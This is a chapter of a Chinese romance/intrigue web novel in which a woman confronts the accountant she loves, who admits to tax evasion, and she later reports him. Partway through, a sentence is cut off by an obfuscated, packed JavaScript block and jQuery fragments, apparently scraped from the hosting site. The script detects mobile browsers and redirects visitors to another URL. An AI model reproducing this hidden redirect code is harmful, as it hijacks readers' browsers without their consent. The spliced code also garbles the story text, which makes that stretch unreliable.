10. 第 10 章

作品:《江阳尽

    虽是临近秋季,但正午骄阳正浓,行走在街上的青石板路上甚至有些灼热。


    但是姜凌完全感受不到,她只是缓步走向计长淮铺子,心中惶惶不安,烈日在眼前晃出光晕也无法止住心中的猜疑。


    计长淮正忙着整理店铺中的一切,打包好了所有物品,他留下的物件不多,剩下的都要转手卖出,许是近几日就要离开了。


    她在茶楼选了一个与往常不同的位置,但是也能看得清楚对面店铺里的情况,她静静地盯着一计长淮,忙前忙后。


    计长淮平常的客人不算很多,实际上姜凌对计长淮所有的客人应当说是了如指掌。


    姜凌非常矛盾,她特别不希望今天能看到什么,但是又怕自己错过些什么。


    她也不知道到这里来能确认什么,难道要直接问计长淮吗?


    万一是误会怎么办?


    但她又笑自己傻,那么明显的证据,迟早都会查到计长淮身上。


    只是到了快是黄昏,计长淮店前路过了一个带着帷帽的男人。


    那个男人在计长淮的店铺前面停留了一小会儿,向里看了一眼便走了。


    姜凌正看着发愣,她应当是没见过这名男子的,直接没过一会儿计长淮暂时关了店门,向那名男子的方向走去。


    姜凌赶紧起身结账,悄悄的跟着出去。


    计长淮在街后的巷子里七拐八拐,拐到了一个无人的窄巷中,姜凌还不太敢靠近,她只能探头探脑找了一个破碎的篓子挡住自己。


    “……那东西是不是都在你那?”


    远远听见那名黑衣的男子低声说道,应当是问向计长淮,姜凌听了听应当是北方的口音。


    “嗯,让曹掌柜自己来取。”


    是计长淮的声音,姜凌咬住了嘴唇,闭上了眼睛,靠在墙壁上。


    难不成果真是他?


    “曹掌柜不方便现身。”那个黑衣男子又说。


    姜凌回想起成天商会的掌柜的姓曹,但是不是说已经落网了吗?


    “但交给别人,在下不放心。”计长淮缓了片刻说道。


    “明日寅时,带到莲花湖来。”


    那名男子说完便走了,姜凌躲在角落里不敢动,等着计长淮走了自己再出去。


    窄巷中甚少有阳光进入,昏暗的巷子中没有任何声响,除了男子的脚步声。


    姜凌听见那脚步声越来越近,心弦也跟着紧张了起来,这时计长淮的脚步声忽然在她的面前停了下来,衣料摩擦的声音响动了一会,但没有停留太久就离开了。


    姜凌长舒一口气,钻出了那些背篓,拍拍身上的尘土向巷子外走去。


    她一路上没遇到人,安稳地回到了街上,她看着计长淮的铺子心中惴惴不安。


    姜凌此刻还是抱有一丝猜错了的可能,万一真的不是呢?


    她磨蹭着走到了计长淮铺子前,心中想的是要不要明日去看了再说,万一说的是别的呢?


    计长淮的铺子是在远离城中心的街上,旁边只有个茶楼还算是热闹的门店。


    姜凌听说计长淮也就搬来了三四年,但是口碑非常不错。


    先且不说账目从不出错,从不多收人钱财。


    左边是个包子铺,掌柜家中有个淘气小子,更相减损还是计长淮教的。


    掌柜的跟她说过,“多亏了计先生,我们家那个兔崽子也能看两本书了。”


    右边是个老裁缝,时不时进些布匹还是计长淮帮忙搬的。


    老裁缝是街上公认最刻薄的人,但是唯独能夸上计长淮几句。


    “那天进了贼人,哎呦,可把我吓坏了,还是计先生把人赶跑了,胳膊上划了好大一口子呢!”


    她是不想信的,但是作奸犯科之人也不会把罪行写在脸上。


    平常是个好人,不代表不会犯罪。


    她想了想,还是抬步向计长淮的铺子走了过去。


    总要有个了结,问问也没有什么。


    计长淮手上的账目已经交代的差不多了,此时店中只有他一个。


    见是姜凌进来,他笑了笑,招呼她找个地方坐下。


    原本堆满了账簿的书架上已经被清空地一干二净,本就是简朴的铺子显得更加空旷了。


    “先生……什么时候走?”姜凌心中悬着事情,问出的话都有些提不上劲。


    计长淮掸去了架子顶上的灰尘,听见姜凌这么问,手中一顿,“后天。”


    姜凌点了点头,根本没把那两个字听在心里。


    “那你……准备去哪?”


    “大概向东吧。”计长淮从梯子上下来,随口答道。


    向东……姜凌想不到东边还能去哪,而她来也不是想问这些的。


    她正犹豫着要不要问出口,计长淮却先说话了。


    “有什么想问的就问。”计长淮靠在了书案旁,双手交叉在胸前,静静地看着姜凌。


    姜凌攥紧了手帕,不安地捻着,“我、我听说有个商会,落网了……”


    计长淮笑了笑,“嗯,那商会挺大的。”


    姜凌抬眼看向计长淮,他似乎一点都不意外,甚至就是像在等着她问一样。


    “还听说,他们的账簿、账簿都算错了一钱银子。”姜凌的声音越说越小,她明明知道这个答案的。


    她亲眼见过不止一次,计长淮算错的账目,还说是雇主要求的。


    除了他还能有谁呢?


    “嗯。”计长淮沉稳地答道。


    姜凌像是要凝住呼吸一般,抬眼看过去,眼中是难以置信,但还是有些颤抖着问:“是你吗?”


    她不知道问出口有多大侥幸的心理,她只希望计长淮能赶紧否认掉。


    但是他没有。


    “你觉得呢?”计长淮轻闭双眼,睁开后那双桃花眼还是一样的笑容。


    你觉得呢?


    这话在计长淮口中说出来就几近于肯定。


    姜凌只觉得从上到下的冰凉,直到答案被甩在脸前的那一刻她才会认命。


    她嘴唇嗡动,“是不是有什么苦衷,还是、还是他们胁迫你?”


    “这不是你该管的事。”


    计长淮收起了笑容,是她从未见过的冰冷。


    如果一个常笑的人冷了脸,就像是八月酷暑一瞬间就掉入数九寒冬的冰窟之中。


    “没有苦衷,也没有理由。”计长淮一字一顿的说了出来。


    店面空旷,但针落可闻。


    姜凌双手按捺不住的颤抖,她怎么也想不到计长淮会如此痛快地承认。


    “怎么会没有呢!先生不是那样的人,一定是、一定是——”


    她头上还戴着计长淮赎回来的步摇,她不明白计长淮这么做的目的。


    “凌阳,别这么轻易相信人。”计长淮打断了姜凌,“你对我又了解多少?”


    姜凌愣在原地,没错,她又了解计长淮多少?


    他从哪来到哪去,甚至连他的过去一分一毫都不知道。


    计长淮就像是活在这宿州城中的纸片,单薄的从不给人透出任何讯息。


    他没有朋友,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387483|141113||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没有亲人,孤单的在城中生活,从不与人过深的交往。


    随时可以离去,随时可以消失。


    也许那天的游湖就是姜凌离他最近的一次。


    剩下的她又了解多少呢?


    他到底是个什么样的人,谁又知道呢?


    她到底喜欢的是什么样的人,姜凌自己现在根本不知道。


    甚至她喜欢的是一个帮人逃税百万的帐房先生。


    至少流刑,重则斩立决。


    姜凌一瞬间眼中盈盈蓄满了泪光,眼中计长淮的身影已经模糊不清,正如她现在心中对计长淮的勾勒。


    她的理智告诉她要相信心中的答案,只是她的情感还停留在原地。


    “账簿确实是我做的。”计长淮肯定了姜凌心中的答案。


    计长淮见姜凌还不愿意相信,转身拖出了一个红木箱,打开里面露出了整整两摞账簿。


    他拿出一本,在姜凌面前翻开,盖着的是“成天商会”的红印。


    一锤定音,无可辩驳。


    姜凌即便是看不清,但是也能辨认出那红印,是不能造假的,也没有必要造假。


    “那百万税银,是我帮他们逃的。”


    “要送我去见官吗?”


    姜凌眼中映着计长淮的身影,在此之前她从未想过要把计长淮送去见官。


    因为她一直存有侥幸。


    而今计长淮承认了,那么她应当……


    “你为什么、为什么跟我承认这些?”姜凌问。


    “因为我赌你不会送我去见官。”


    姜凌木然地看着计长淮,今日他陌生的令人害怕。


    “要么你去报官,要么离我远点。”


    计长淮平稳地声音如今听起来是如此冰冷刺骨。


    “计长淮,你怎么能……怎么能这样?”姜凌几近是抽噎,她已然是不知道该怎么办才好了。


    计长淮轻笑一声,“怎么能这样?是姑娘识人不清,怎么这么相信一个萍水相逢的人?”


    他的眼中映着的姑娘,早已被泪光铺了满面,眼中涌出的泪珠“吧嗒吧嗒”掉在地上。


    只是他不能停下来。


    下一瞬,姜凌被抵在书架上,计长淮的双臂封住她的去路。


    男子压过来的气息让姜凌一瞬间清空了所有的念想,眼前所有的景象被计长淮所占据,侵吞着她每一丝感官。


    黄昏时分的许是有些清凉,但也被尽数赶走,甚至她能听到自己每一拍的心跳。


    “单独来见一个嫌犯,就不怕嫌犯做出点什么?”


    她耳边的声音字字句句变得无比清晰,渐渐靠近,她的唇瓣几乎都能感受到对方的温热。


    “啪!”


    姜凌下意识地一个耳光甩了出去,在计长淮脸上瞬时留下了一个红印。


    她怔怔地看着计长淮,猛地推开他,“计长淮,我从未想过你是如此虚伪奸诈之人!”


    姜凌夺路而逃,甚至不敢回头看一眼。


    夕阳斜下,慌忙跑开的女子在长街上拉着长长的身影。


    冷凄的店铺中只剩了计长淮一人,他抵在书架上久久缓不过来,猛砸了书架一下,不知道是懊悔还是无可奈何。


    而姜凌确实做不到亲手送计长淮去见官,但是她在宿州府门前留了一封信。


    第二天一早,她就见芸琴慌慌张张进来,见了姜凌那双哭肿了的眼睛,缓了好一阵才说出口。


    “计先生……计先生被抓了!”


    姜凌只是平淡地点了点头,“嗯。”